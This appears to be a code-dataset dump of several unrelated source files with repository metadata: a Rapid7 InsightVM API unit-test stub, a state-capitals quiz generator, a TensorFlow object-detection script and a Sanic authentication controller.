` is less than` ` is applied` ` is not applied` | | `custom-tag` | `is` ` is not` ` starts with` ` ends with` ` contains` ` does not contain` ` is applied` ` is not applied` | | `cve` | `is` ` is not` ` contains` ` does not contain` | | `cvss-access-complexity` | `is` ` is not` | | `cvss-authentication-required` | `is` ` is not` | | `cvss-access-vector` | `is` ` is not` | | `cvss-availability-impact` | `is` ` is not` | | `cvss-confidentiality-impact` | `is` ` is not` | | `cvss-integrity-impact` | `is` ` is not` | | `cvss-v3-confidentiality-impact` | `is` ` is not` | | `cvss-v3-integrity-impact` | `is` ` is not` | | `cvss-v3-availability-impact` | `is` ` is not` | | `cvss-v3-attack-vector` | `is` ` is not` | | `cvss-v3-attack-complexity` | `is` ` is not` | | `cvss-v3-user-interaction` | `is` ` is not` | | `cvss-v3-privileges-required` | `is` ` is not` | | `host-name` | `is` ` is not` ` starts with` ` ends with` ` contains` ` does not contain` ` is empty` ` is not empty` ` is like` ` not like` | | `host-type` | `in` ` not in` | | `ip-address` | `is` ` is not` ` in range` ` not in range` ` is like` ` not like` | | `ip-address-type` | `in` ` not in` | | `last-scan-date` | `is-on-or-before` ` is on or after` ` is between` ` is earlier than` ` is within the last` | | `location-tag` | `is` ` is not` ` starts with` ` ends with` ` contains` ` does not contain` ` is applied` ` is not applied` | | `mobile-device-last-sync-time` | `is-within-the-last` ` is earlier than` | | `open-ports` | `is` ` is not` ` in range` | | `operating-system` | `contains` ` does not contain` ` is empty` ` is not empty` | | `owner-tag` | `is` ` is not` ` starts with` ` ends with` ` contains` ` does not contain` ` is applied` ` is not applied` | | `pci-compliance` | `is` | | `risk-score` | `is` ` is not` ` in range` ` greater than` ` less than` | | `service-name` | `contains` ` does not contain` | | `site-id` | `in` ` not in` | | `software` | `contains` ` does not contain` | | `vAsset-cluster` | `is` ` is not` ` contains` ` does not contain` ` starts with` | | `vAsset-datacenter` | `is` ` is not` | | `vAsset-host-name` | `is` ` is not` ` contains` ` does not contain` ` starts with` | | `vAsset-power-state` | `in` ` not in` | | `vAsset-resource-pool-path` | `contains` ` does not contain` | | `vulnerability-assessed` | `is-on-or-before` ` is on or after` ` is between` ` is earlier than` ` is within the last` | | `vulnerability-category` | `is` ` is not` ` starts with` ` ends with` ` contains` ` does not contain` | | `vulnerability-cvss-v3-score` | `is` ` is not` | | `vulnerability-cvss-score` | `is` ` is not` ` in range` ` is greater than` ` is less than` | | `vulnerability-exposures` | `includes` ` does not include` | | `vulnerability-title` | `contains` ` does not contain` ` is` ` is not` ` starts with` ` ends with` | | `vulnerability-validated-status` | `are` | ##### Enumerated Properties The following fields have enumerated values: | Field | Acceptable Values | | ----------------------------------------- | ------------------------------------------------------------------------------------------------------------- | | `alternate-address-type` | 0=IPv4, 1=IPv6 | | `containers` | 0=present, 1=not present | | `container-status` | `created` `running` `paused` `restarting` `exited` `dead` `unknown` | | `cvss-access-complexity` | <ul><li><code>L</code> = Low</li><li><code>M</code> = Medium</li><li><code>H</code> = High</li></ul> | | `cvss-integrity-impact` | <ul><li><code>N</code> = None</li><li><code>P</code> = Partial</li><li><code>C</code> = Complete</li></ul> | | `cvss-confidentiality-impact` | <ul><li><code>N</code> = None</li><li><code>P</code> = Partial</li><li><code>C</code> = Complete</li></ul> | | `cvss-availability-impact` | <ul><li><code>N</code> = None</li><li><code>P</code> = Partial</li><li><code>C</code> = Complete</li></ul> | | `cvss-access-vector` | <ul><li><code>L</code> = Local</li><li><code>A</code> = Adjacent</li><li><code>N</code> = Network</li></ul> | | `cvss-authentication-required` | <ul><li><code>N</code> = None</li><li><code>S</code> = Single</li><li><code>M</code> = Multiple</li></ul> | | `cvss-v3-confidentiality-impact` | <ul><li><code>L</code> = Local</li><li><code>L</code> = Low</li><li><code>N</code> = None</li><li><code>H</code> = High</li></ul> | | `cvss-v3-integrity-impact` | <ul><li><code>L</code> = Local</li><li><code>L</code> = Low</li><li><code>N</code> = None</li><li><code>H</code> = High</li></ul> | | `cvss-v3-availability-impact` | <ul><li><code>N</code> = None</li><li><code>L</code> = Low</li><li><code>H</code> = High</li></ul> | | `cvss-v3-attack-vector` | <ul><li><code>N</code> = Network</li><li><code>A</code> = Adjacent</li><li><code>L</code> = Local</li><li><code>P</code> = Physical</li></ul> | | `cvss-v3-attack-complexity` | <ul><li><code>L</code> = Low</li><li><code>H</code> = High</li></ul> | | `cvss-v3-user-interaction` | <ul><li><code>N</code> = None</li><li><code>R</code> = Required</li></ul> | | `cvss-v3-privileges-required` | <ul><li><code>N</code> = None</li><li><code>L</code> = Low</li><li><code>H</code> = High</li></ul> | | `host-type` | 0=Unknown, 1=Guest, 2=Hypervisor, 3=Physical, 4=Mobile | | `ip-address-type` | 0=IPv4, 1=IPv6 | | `pci-compliance` | 0=fail, 1=pass | | `vulnerability-validated-status` | 0=present, 1=not present | ##### Operator Properties <a section=\"section/Responses/SearchCriteria/OperatorProperties\"></a> The following table outlines which properties are required for each operator and the appropriate data type(s): | Operator | `value` | `lower` | `upper` | | ----------------------|-----------------------|-----------------------|-----------------------| | `are` | `string` | | | | `contains` | `string` | | | | `does-not-contain` | `string` | | | | `ends with` | `string` | | | | `in` | `Array[ string ]` | | | | `in-range` | | `numeric` | `numeric` | | `includes` | `Array[ string ]` | | | | `is` | `string` | | | | `is-applied` | | | | | `is-between` | | `numeric` | `numeric` | | `is-earlier-than` | `numeric` | | | | `is-empty` | | | | | `is-greater-than` | `numeric` | | | | `is-on-or-after` | `string` (yyyy-MM-dd) | | | | `is-on-or-before` | `string` (yyyy-MM-dd) | | | | `is-not` | `string` | | | | `is-not-applied` | | | | | `is-not-empty` | | | | | `is-within-the-last` | `string` | | | | `less-than` | `string` | | | | `like` | `string` | | | | `not-contains` | `string` | | | | `not-in` | `Array[ string ]` | | | | `not-in-range` | | `numeric` | `numeric` | | `not-like` | `string` | | | | `starts-with` | `string` | | | #### Discovery Connection Search Criteria <a section=\"section/Responses/DiscoverySearchCriteria\"></a> Dynamic sites make use of search criteria to match assets from a discovery connection. Search criteria is an array of search filters. Each search filter has a generic format of: ```json { \"field\": \"<field-name>\", \"operator\": \"<operator>\", [\"value\": \"<value>\",] [\"lower\": \"<value>\",] [\"upper\": \"<value>\"] } ``` Every filter defines two required properties `field` and `operator`. The field is the name of an asset property that is being filtered on. The list of supported fields vary depending on the type of discovery connection configured for the dynamic site (e.g vSphere, ActiveSync, etc.). The operator is a type and property-specific operating performed on the filtered property. The valid values for fields outlined in the tables below and are grouped by the type of connection. Every filter also defines one or more values that are supplied to the operator. See <a href=\"#section/Responses/SearchCriteria/OperatorProperties\">Search Criteria Operator Properties</a> for more information on the valid values for each operator. ##### Fields (ActiveSync) This section documents search criteria information for ActiveSync discovery connections. The discovery connections must be one of the following types: `\"activesync-ldap\"`, `\"activesync-office365\"`, or `\"activesync-powershell\"`. The following table outlines the search criteria fields and the available operators for ActiveSync connections: | Field | Operators | | --------------------------------- | ------------------------------------------------------------- | | `last-sync-time` | `is-within-the-last` ` is-earlier-than` | | `operating-system` | `contains` ` does-not-contain` | | `user` | `is` ` is-not` ` contains` ` does-not-contain` ` starts-with` | ##### Fields (AWS) This section documents search criteria information for AWS discovery connections. The discovery connections must be the type `\"aws\"`. The following table outlines the search criteria fields and the available operators for AWS connections: | Field | Operators | | ----------------------- | ------------------------------------------------------------- | | `availability-zone` | `contains` ` does-not-contain` | | `guest-os-family` | `contains` ` does-not-contain` | | `instance-id` | `contains` ` does-not-contain` | | `instance-name` | `is` ` is-not` ` contains` ` does-not-contain` ` starts-with` | | `instance-state` | `in` ` not-in` | | `instance-type` | `in` ` not-in` | | `ip-address` | `in-range` ` not-in-range` ` is` ` is-not` | | `region` | `in` ` not-in` | | `vpc-id` | `is` ` is-not` ` contains` ` does-not-contain` ` starts-with` | ##### Fields (DHCP) This section documents search criteria information for DHCP discovery connections. The discovery connections must be the type `\"dhcp\"`. The following table outlines the search criteria fields and the available operators for DHCP connections: | Field | Operators | | --------------- | ------------------------------------------------------------- | | `host-name` | `is` ` is-not` ` contains` ` does-not-contain` ` starts-with` | | `ip-address` | `in-range` ` not-in-range` ` is` ` is-not` | | `mac-address` | `is` ` is-not` ` contains` ` does-not-contain` ` starts-with` | ##### Fields (Sonar) This section documents search criteria information for Sonar discovery connections. The discovery connections must be the type `\"sonar\"`. The following table outlines the search criteria fields and the available operators for Sonar connections: | Field | Operators | | ------------------- | -------------------- | | `search-domain` | `contains` ` is` | | `ip-address` | `in-range` ` is` | | `sonar-scan-date` | `is-within-the-last` | ##### Fields (vSphere) This section documents search criteria information for vSphere discovery connections. The discovery connections must be the type `\"vsphere\"`. The following table outlines the search criteria fields and the available operators for vSphere connections: | Field | Operators | | -------------------- | ------------------------------------------------------------------------------------------ | | `cluster` | `is` ` is-not` ` contains` ` does-not-contain` ` starts-with` | | `data-center` | `is` ` is-not` | | `discovered-time` | `is-on-or-before` ` is-on-or-after` ` is-between` ` is-earlier-than` ` is-within-the-last` | | `guest-os-family` | `contains` ` does-not-contain` | | `host-name` | `is` ` is-not` ` contains` ` does-not-contain` ` starts-with` | | `ip-address` | `in-range` ` not-in-range` ` is` ` is-not` | | `power-state` | `in` ` not-in` | | `resource-pool-path` | `contains` ` does-not-contain` | | `last-time-seen` | `is-on-or-before` ` is-on-or-after` ` is-between` ` is-earlier-than` ` is-within-the-last` | | `vm` | `is` ` is-not` ` contains` ` does-not-contain` ` starts-with` | ##### Enumerated Properties (vSphere) The following fields have enumerated values: | Field | Acceptable Values | | ------------- | ------------------------------------ | | `power-state` | `poweredOn` `poweredOff` `suspended` | ## HATEOAS This API follows Hypermedia as the Engine of Application State (HATEOAS) principals and is therefore hypermedia friendly. Hyperlinks are returned in the `links` property of any given resource and contain a fully-qualified hyperlink to the corresponding resource. The format of the hypermedia link adheres to both the <a target=\"_blank\" href=\"http://jsonapi.org\">{json:api} v1</a> <a target=\"_blank\" href=\"http://jsonapi.org/format/#document-links\">\"Link Object\"</a> and <a target=\"_blank\" href=\"http://json-schema.org/latest/json-schema-hypermedia.html\">JSON Hyper-Schema</a> <a target=\"_blank\" href=\"http://json-schema.org/latest/json-schema-hypermedia.html#rfc.section.5.2\">\"Link Description Object\"</a> formats. For example: ```json \"links\": [{ \"rel\": \"<relation>\", \"href\": \"<href>\" ... }] ``` Where appropriate link objects may also contain additional properties than the `rel` and `href` properties, such as `id`, `type`, etc. See the [Root](#tag/Root) resources for the entry points into API discovery. # noqa: E501 OpenAPI spec version: 3 Contact: support@rapid7.com Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import unittest import swagger_client from swagger_client.models.scan_template_service_discovery_tcp import ScanTemplateServiceDiscoveryTcp # noqa: E501 from swagger_client.rest import ApiException class TestScanTemplateServiceDiscoveryTcp(unittest.TestCase): """ScanTemplateServiceDiscoveryTcp unit test stubs""" def setUp(self): pass def tearDown(self): pass def testScanTemplateServiceDiscoveryTcp(self): """Test ScanTemplateServiceDiscoveryTcp""" # FIXME: construct object with mandatory attributes with example values # model = swagger_client.models.scan_template_service_discovery_tcp.ScanTemplateServiceDiscoveryTcp() # noqa: E501 pass if __name__ == '__main__': unittest.main()
1,195.707317
48,043
0.49178
from __future__ import absolute_import import unittest import swagger_client from swagger_client.models.scan_template_service_discovery_tcp import ScanTemplateServiceDiscoveryTcp from swagger_client.rest import ApiException class TestScanTemplateServiceDiscoveryTcp(unittest.TestCase): def setUp(self): pass def tearDown(self): pass def testScanTemplateServiceDiscoveryTcp(self): s if __name__ == '__main__': unittest.main()
true
true
f73d733677d25e51cb836aafc226e7c6f1531e77
2,971
py
Python
hw6/ch9/quiz/randomQuizGenerator.py
jonescarissa/csc221
1052b4cf9f3aab86c063c1b3845895a590bc2083
[ "CC0-1.0" ]
null
null
null
hw6/ch9/quiz/randomQuizGenerator.py
jonescarissa/csc221
1052b4cf9f3aab86c063c1b3845895a590bc2083
[ "CC0-1.0" ]
null
null
null
hw6/ch9/quiz/randomQuizGenerator.py
jonescarissa/csc221
1052b4cf9f3aab86c063c1b3845895a590bc2083
[ "CC0-1.0" ]
1
2021-09-02T03:55:17.000Z
2021-09-02T03:55:17.000Z
#! python3 # randomQuizGenerator.py - Creates quizzes with questions and answers in # random order, along with the answer key. from pathlib import Path import random # The quiz data. Keys are states and values are their capitals capitals = {'Alabama': 'Montgomery', 'Alaska': 'Juneau', 'Arizona': 'Phoenix', 'Arkansas': 'Little Rock', 'California': 'Sacramento', 'Colorado': 'Denver', 'Connecticut': 'Hartford', 'Delaware': 'Dover', 'Florida': 'Tallahassee', 'Georgia': 'Atlanta', 'Hawaii': 'Honolulu', 'Idaho': 'Boise', 'Illinois': 'Springfield', 'Indiana': 'Indianapolis', 'Iowa': 'Des Moines', 'Kansas': 'Topeka', 'Kentucky': 'Frankfort', 'Louisiana': 'Baton Rouge', 'Maine': 'Augusta', 'Maryland': 'Annapolis', 'Massachusetts': 'Boston', 'Michigan': 'Lansing', 'Minnesota': 'Saint Paul', 'Mississippi': 'Jackson', 'Missouri': 'Jefferson City', 'Montana': 'Helena', 'Nebraska': 'Lincoln', 'Nevada': 'Carson City', 'New Hampshire': 'Concord', 'New Jersey': 'Trenton', 'New Mexico': 'Santa Fe', 'New York': 'Albany', 'North Carolina': 'Raleigh', 'North Dakota': 'Bismarck', 'Ohio': 'Columbus', 'Oklahoma': 'Oklahoma City', 'Oregon': 'Salem', 'Pennsylvania': 'Harrisburg', 'Rhode Island': 'Providence', 'South Carolina': 'Columbia', 'South Dakota': 'Pierre', 'Tennessee': 'Nashville', 'Texas': 'Austin', 'Utah': 'Salt Lake City', 'Vermont': 'Montpelier', 'Virginia': 'Richmond', 'Washington': 'Olympia', 'West Virginia': 'Charleston', 'Wisconsin': 'Madison', 'Wyoming': 'Cheyenne'} for quizNum in range(35): # Create the quiz and answer key files. quizFile = open(f'capitalsquiz{quizNum + 1}.txt', 'w') answerKeyFile = open(f'capitalsquiz_answers{quizNum + 1}.txt', 'w') # Write out the header for the quiz. quizFile.write('Name:\n\nDate:\n\nPeriod:\n\n') quizFile.write(('' * 20) + f'State Capitals Quiz (Form{quizNum + 1})') quizFile.write('\n\n') # Shuffle the order of the states. states = list(capitals.keys()) random.shuffle(states) # Loop through all 50 states, making a question for each. for questionNum in range(50): # Get right and wrong answers. correctAnswer = capitals[states[questionNum]] wrongAnswers = list(capitals.values()) del wrongAnswers[wrongAnswers.index(correctAnswer)] wrongAnswers = random.sample(wrongAnswers, 3) answerOptions = wrongAnswers + [correctAnswer] random.shuffle(answerOptions) # Write the question and the answer options to the quiz file. quizFile.write(f'{questionNum + 1}. What is the capital of {states[questionNum]}?\n') for i in range(4): quizFile.write(f" {'ABCD'[i]}.{answerOptions[i]}\n") quizFile.write('\n') # Write the answer key to a file. answerKeyFile.write(f"{questionNum + 1}.{'ABCD'[answerOptions.index(correctAnswer)]}") quizFile.close() answerKeyFile.close()
44.343284
98
0.64894
from pathlib import Path import random capitals = {'Alabama': 'Montgomery', 'Alaska': 'Juneau', 'Arizona': 'Phoenix', 'Arkansas': 'Little Rock', 'California': 'Sacramento', 'Colorado': 'Denver', 'Connecticut': 'Hartford', 'Delaware': 'Dover', 'Florida': 'Tallahassee', 'Georgia': 'Atlanta', 'Hawaii': 'Honolulu', 'Idaho': 'Boise', 'Illinois': 'Springfield', 'Indiana': 'Indianapolis', 'Iowa': 'Des Moines', 'Kansas': 'Topeka', 'Kentucky': 'Frankfort', 'Louisiana': 'Baton Rouge', 'Maine': 'Augusta', 'Maryland': 'Annapolis', 'Massachusetts': 'Boston', 'Michigan': 'Lansing', 'Minnesota': 'Saint Paul', 'Mississippi': 'Jackson', 'Missouri': 'Jefferson City', 'Montana': 'Helena', 'Nebraska': 'Lincoln', 'Nevada': 'Carson City', 'New Hampshire': 'Concord', 'New Jersey': 'Trenton', 'New Mexico': 'Santa Fe', 'New York': 'Albany', 'North Carolina': 'Raleigh', 'North Dakota': 'Bismarck', 'Ohio': 'Columbus', 'Oklahoma': 'Oklahoma City', 'Oregon': 'Salem', 'Pennsylvania': 'Harrisburg', 'Rhode Island': 'Providence', 'South Carolina': 'Columbia', 'South Dakota': 'Pierre', 'Tennessee': 'Nashville', 'Texas': 'Austin', 'Utah': 'Salt Lake City', 'Vermont': 'Montpelier', 'Virginia': 'Richmond', 'Washington': 'Olympia', 'West Virginia': 'Charleston', 'Wisconsin': 'Madison', 'Wyoming': 'Cheyenne'} for quizNum in range(35): quizFile = open(f'capitalsquiz{quizNum + 1}.txt', 'w') answerKeyFile = open(f'capitalsquiz_answers{quizNum + 1}.txt', 'w') quizFile.write('Name:\n\nDate:\n\nPeriod:\n\n') quizFile.write(('' * 20) + f'State Capitals Quiz (Form{quizNum + 1})') quizFile.write('\n\n') states = list(capitals.keys()) random.shuffle(states) for questionNum in range(50): correctAnswer = capitals[states[questionNum]] wrongAnswers = list(capitals.values()) del wrongAnswers[wrongAnswers.index(correctAnswer)] wrongAnswers = random.sample(wrongAnswers, 3) answerOptions = wrongAnswers + [correctAnswer] random.shuffle(answerOptions) quizFile.write(f'{questionNum + 1}. What is the capital of {states[questionNum]}?\n') for i in range(4): quizFile.write(f" {'ABCD'[i]}.{answerOptions[i]}\n") quizFile.write('\n') answerKeyFile.write(f"{questionNum + 1}.{'ABCD'[answerOptions.index(correctAnswer)]}") quizFile.close() answerKeyFile.close()
true
true
f73d74247449e7898239279e239c93aa71ebeb32
678
py
Python
pyy1/.pycharm_helpers/python_stubs/-1550516950/gi/_gi/RegisteredTypeInfo.py
pyy1988/pyy_test1
6bea878409e658aa87441384419be51aaab061e7
[ "Apache-2.0" ]
null
null
null
pyy1/.pycharm_helpers/python_stubs/-1550516950/gi/_gi/RegisteredTypeInfo.py
pyy1988/pyy_test1
6bea878409e658aa87441384419be51aaab061e7
[ "Apache-2.0" ]
null
null
null
pyy1/.pycharm_helpers/python_stubs/-1550516950/gi/_gi/RegisteredTypeInfo.py
pyy1988/pyy_test1
6bea878409e658aa87441384419be51aaab061e7
[ "Apache-2.0" ]
null
null
null
# encoding: utf-8 # module gi._gi # from /usr/lib/python3/dist-packages/gi/_gi.cpython-35m-x86_64-linux-gnu.so # by generator 1.145 # no doc # imports import _gobject as _gobject # <module '_gobject'> import _glib as _glib # <module '_glib'> import gi as __gi import gobject as __gobject class RegisteredTypeInfo(__gi.BaseInfo): # no doc def get_g_type(self, *args, **kwargs): # real signature unknown pass def get_type_init(self, *args, **kwargs): # real signature unknown pass def get_type_name(self, *args, **kwargs): # real signature unknown pass def __init__(self, *args, **kwargs): # real signature unknown pass
23.37931
76
0.682891
import _gobject as _gobject import _glib as _glib import gi as __gi import gobject as __gobject class RegisteredTypeInfo(__gi.BaseInfo): def get_g_type(self, *args, **kwargs): pass def get_type_init(self, *args, **kwargs): pass def get_type_name(self, *args, **kwargs): pass def __init__(self, *args, **kwargs): pass
true
true
f73d74d29d2cdd3f57476faf5af7f738ab906946
5,549
py
Python
detect_single_image.py
gideont/TensorFlow-Object-Detection-API-Tutorial-Train-Multiple-Objects-Windows-10
f8b24ccba44e3a55cc20da2ed0ad44d7ad2216bf
[ "Apache-2.0" ]
null
null
null
detect_single_image.py
gideont/TensorFlow-Object-Detection-API-Tutorial-Train-Multiple-Objects-Windows-10
f8b24ccba44e3a55cc20da2ed0ad44d7ad2216bf
[ "Apache-2.0" ]
1
2020-01-28T22:46:08.000Z
2020-01-28T22:46:08.000Z
detect_single_image.py
gideont/TensorFlow-Object-Detection-API-Tutorial-Train-Multiple-Objects-Windows-10
f8b24ccba44e3a55cc20da2ed0ad44d7ad2216bf
[ "Apache-2.0" ]
null
null
null
######## Image Object Detection Using Tensorflow-trained Classifier ######### # # Author: Evan Juras # Date: 1/15/18 # Description: # This program uses a TensorFlow-trained neural network to perform object detection. # It loads the classifier and uses it to perform object detection on an image. # It draws boxes, scores, and labels around the objects of interest in the image. ## Some of the code is copied from Google's example at ## https://github.com/tensorflow/models/blob/master/research/object_detection/object_detection_tutorial.ipynb ## and some is copied from Dat Tran's example at ## https://github.com/datitran/object_detector_app/blob/master/object_detection_app.py ## but I changed it to make it more understandable to me. # Import packages import os #os.environ['CUDA_DEVICE_ORDER'] = 'PCI_BUS_ID' #os.environ['CUDA_VISIBLE_DEVICES'] = '1' os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' # or any {'0', '1', '2'} to supress warnings import cv2 import numpy as np import tensorflow as tf tf.compat.v1.logging.set_verbosity(tf.compat.v1.logging.ERROR) import logging logging.getLogger('tensorflow').setLevel(logging.FATAL) import sys import time # This is needed since the notebook is stored in the object_detection folder. sys.path.append("..") # Import utilites from utils import label_map_util from utils import visualization_utils as vis_util # Name of the directory containing the object detection module we're using MODEL_NAME = 'inference_graph' IMAGE_NAME = 'test_orig.jpg' IMAGE_RESULT_NAME = 'test_result.jpg' # Grab path to current working directory CWD_PATH = os.getcwd() # patch tf1 into `utils.ops` #utils_ops.tf = tf.compat.v1 # Patch the location of gfile tf.gfile = tf.io.gfile # Path to frozen detection graph .pb file, which contains the model that is used # for object detection. PATH_TO_CKPT = os.path.join(CWD_PATH,MODEL_NAME,'frozen_inference_graph.pb') # Path to label map file PATH_TO_LABELS = os.path.join(CWD_PATH,'training','labelmap.pbtxt') # Path to image #PATH_TO_IMAGE = os.path.join(CWD_PATH,IMAGE_NAME) # Number of classes the object detector can identify NUM_CLASSES = 90 # Load the label map. # Label maps map indices to category names, so that when our convolution # network predicts `5`, we know that this corresponds to `king`. # Here we use internal utility functions, but anything that returns a # dictionary mapping integers to appropriate string labels would be fine label_map = label_map_util.load_labelmap(PATH_TO_LABELS) categories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=NUM_CLASSES, use_display_name=True) category_index = label_map_util.create_category_index(categories) # Load the Tensorflow model into memory. detection_graph = tf.Graph() with detection_graph.as_default(): od_graph_def = tf.compat.v1.GraphDef() with tf.io.gfile.GFile(PATH_TO_CKPT, 'rb') as fid: serialized_graph = fid.read() od_graph_def.ParseFromString(serialized_graph) tf.import_graph_def(od_graph_def, name='') # CPU only #sess = tf.compat.v1.Session(graph=detection_graph) # GPU options to avoid GPU out-of-memory crash #gpu_options = tf.compat.v1.GPUOptions(per_process_gpu_memory_fraction=0.5) #gpu_options = tf.GPUOptions(allow_growth = True) # for tf2 gpu_options = tf.compat.v1.GPUOptions(allow_growth = True) sess = tf.compat.v1.Session(graph=detection_graph,config=tf.compat.v1.ConfigProto(gpu_options=gpu_options, log_device_placement=False)) # Define input and output tensors (i.e. data) for the object detection classifier # Input tensor is the image image_tensor = detection_graph.get_tensor_by_name('image_tensor:0') # Output tensors are the detection boxes, scores, and classes # Each box represents a part of the image where a particular object was detected detection_boxes = detection_graph.get_tensor_by_name('detection_boxes:0') # Each score represents level of confidence for each of the objects. # The score is shown on the result image, together with the class label. detection_scores = detection_graph.get_tensor_by_name('detection_scores:0') detection_classes = detection_graph.get_tensor_by_name('detection_classes:0') # Number of objects detected num_detections = detection_graph.get_tensor_by_name('num_detections:0') start = time.time() # Load image using OpenCV and # expand image dimensions to have shape: [1, None, None, 3] # i.e. a single-column array, where each item in the column has the pixel RGB value PATH_TO_IMAGE = os.path.join(CWD_PATH,IMAGE_NAME) print("Detecting objects in file:", PATH_TO_IMAGE) image = cv2.imread(PATH_TO_IMAGE) image_rgb = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) image_expanded = np.expand_dims(image_rgb, axis=0) # Perform the actual detection by running the model with the image as input (boxes, scores, classes, num) = sess.run( [detection_boxes, detection_scores, detection_classes, num_detections], feed_dict={image_tensor: image_expanded}) # Draw the results of the detection (aka 'visulaize the results') vis_util.visualize_boxes_and_labels_on_image_array( image, np.squeeze(boxes), np.squeeze(classes).astype(np.int32), np.squeeze(scores), category_index, use_normalized_coordinates=True, line_thickness=4, min_score_thresh=0.50) end = time.time() print(end - start) # All the results have been drawn on image. Now display the image. #cv2.imshow('Object detector', image) cv2.imwrite(IMAGE_RESULT_NAME, image) print("Saving result image to: ", IMAGE_RESULT_NAME) # Clean up cv2.destroyAllWindows()
37.748299
139
0.777257
s_ops.tf = tf.compat.v1 # Patch the location of gfile tf.gfile = tf.io.gfile # Path to frozen detection graph .pb file, which contains the model that is used # for object detection. PATH_TO_CKPT = os.path.join(CWD_PATH,MODEL_NAME,'frozen_inference_graph.pb') # Path to label map file PATH_TO_LABELS = os.path.join(CWD_PATH,'training','labelmap.pbtxt') # Path to image #PATH_TO_IMAGE = os.path.join(CWD_PATH,IMAGE_NAME) # Number of classes the object detector can identify NUM_CLASSES = 90 # Load the label map. # Label maps map indices to category names, so that when our convolution # network predicts `5`, we know that this corresponds to `king`. # Here we use internal utility functions, but anything that returns a # dictionary mapping integers to appropriate string labels would be fine label_map = label_map_util.load_labelmap(PATH_TO_LABELS) categories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=NUM_CLASSES, use_display_name=True) category_index = label_map_util.create_category_index(categories) # Load the Tensorflow model into memory. detection_graph = tf.Graph() with detection_graph.as_default(): od_graph_def = tf.compat.v1.GraphDef() with tf.io.gfile.GFile(PATH_TO_CKPT, 'rb') as fid: serialized_graph = fid.read() od_graph_def.ParseFromString(serialized_graph) tf.import_graph_def(od_graph_def, name='') # CPU only #sess = tf.compat.v1.Session(graph=detection_graph) # GPU options to avoid GPU out-of-memory crash #gpu_options = tf.compat.v1.GPUOptions(per_process_gpu_memory_fraction=0.5) #gpu_options = tf.GPUOptions(allow_growth = True) # for tf2 gpu_options = tf.compat.v1.GPUOptions(allow_growth = True) sess = tf.compat.v1.Session(graph=detection_graph,config=tf.compat.v1.ConfigProto(gpu_options=gpu_options, log_device_placement=False)) # Define input and output tensors (i.e. data) for the object detection classifier # Input tensor is the image image_tensor = detection_graph.get_tensor_by_name('image_tensor:0') # Output tensors are the detection boxes, scores, and classes # Each box represents a part of the image where a particular object was detected detection_boxes = detection_graph.get_tensor_by_name('detection_boxes:0') # Each score represents level of confidence for each of the objects. # The score is shown on the result image, together with the class label. detection_scores = detection_graph.get_tensor_by_name('detection_scores:0') detection_classes = detection_graph.get_tensor_by_name('detection_classes:0') # Number of objects detected num_detections = detection_graph.get_tensor_by_name('num_detections:0') start = time.time() # Load image using OpenCV and # expand image dimensions to have shape: [1, None, None, 3] # i.e. a single-column array, where each item in the column has the pixel RGB value PATH_TO_IMAGE = os.path.join(CWD_PATH,IMAGE_NAME) print("Detecting objects in file:", PATH_TO_IMAGE) image = cv2.imread(PATH_TO_IMAGE) image_rgb = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) image_expanded = np.expand_dims(image_rgb, axis=0) # Perform the actual detection by running the model with the image as input (boxes, scores, classes, num) = sess.run( [detection_boxes, detection_scores, detection_classes, num_detections], feed_dict={image_tensor: image_expanded}) # Draw the results of the detection (aka 'visulaize the results') vis_util.visualize_boxes_and_labels_on_image_array( image, np.squeeze(boxes), np.squeeze(classes).astype(np.int32), np.squeeze(scores), category_index, use_normalized_coordinates=True, line_thickness=4, min_score_thresh=0.50) end = time.time() print(end - start) # All the results have been drawn on image. Now display the image. #cv2.imshow('Object detector', image) cv2.imwrite(IMAGE_RESULT_NAME, image) print("Saving result image to: ", IMAGE_RESULT_NAME) # Clean up cv2.destroyAllWindows()
true
true
f73d754e75fdecb89296f67d555b4aa0da840e4a
870
py
Python
webserver/app/main/controller/auth_controller.py
pansila/Auto-Test-System
bfe51a277466939a32daa08f27a89cf3c1900def
[ "MIT" ]
14
2019-02-19T01:31:08.000Z
2021-12-12T12:56:08.000Z
webserver/app/main/controller/auth_controller.py
pansila/Auto-Test-System
bfe51a277466939a32daa08f27a89cf3c1900def
[ "MIT" ]
2
2020-03-10T12:12:10.000Z
2020-03-10T12:12:10.000Z
webserver/app/main/controller/auth_controller.py
pansila/Auto-Test-System
bfe51a277466939a32daa08f27a89cf3c1900def
[ "MIT" ]
4
2019-07-09T02:00:13.000Z
2020-08-18T14:04:24.000Z
from sanic import Blueprint from sanic.response import json from sanic_openapi import doc from ..model.database import User from ..service.auth_helper import Auth from ..util.dto import AuthDto, json_response from ..util.response import response_message, USER_NOT_EXIST, SUCCESS user_auth = AuthDto.user_auth bp = Blueprint('auth', url_prefix='/auth') @bp.post('/login') @doc.summary('User login interface') @doc.consumes(user_auth, location='body') @doc.produces(json_response) async def handler(request): ret = await Auth.login_user(data=request.json) return json(ret) @bp.post('/logout') @doc.summary('User logout interface') @doc.consumes(doc.String(name='X-Token'), location='header') @doc.produces(json_response) async def handler(request): auth_header = request.headers.get('X-Token') return json(await Auth.logout_user(data=auth_header))
27.1875
69
0.762069
from sanic import Blueprint from sanic.response import json from sanic_openapi import doc from ..model.database import User from ..service.auth_helper import Auth from ..util.dto import AuthDto, json_response from ..util.response import response_message, USER_NOT_EXIST, SUCCESS user_auth = AuthDto.user_auth bp = Blueprint('auth', url_prefix='/auth') @bp.post('/login') @doc.summary('User login interface') @doc.consumes(user_auth, location='body') @doc.produces(json_response) async def handler(request): ret = await Auth.login_user(data=request.json) return json(ret) @bp.post('/logout') @doc.summary('User logout interface') @doc.consumes(doc.String(name='X-Token'), location='header') @doc.produces(json_response) async def handler(request): auth_header = request.headers.get('X-Token') return json(await Auth.logout_user(data=auth_header))
true
true
f73d75a7a1f7fbe10ce29bba7f70a94aa32dd614
1,458
py
Python
deprecated/fleet_x/examples/resnet_app.py
hutuxian/FleetX
843c7aa33f5a14680becf058a3aaf0327eefafd4
[ "Apache-2.0" ]
170
2020-08-12T12:07:01.000Z
2022-03-07T02:38:26.000Z
deprecated/fleet_x/examples/resnet_app.py
hutuxian/FleetX
843c7aa33f5a14680becf058a3aaf0327eefafd4
[ "Apache-2.0" ]
195
2020-08-13T03:22:15.000Z
2022-03-30T07:40:25.000Z
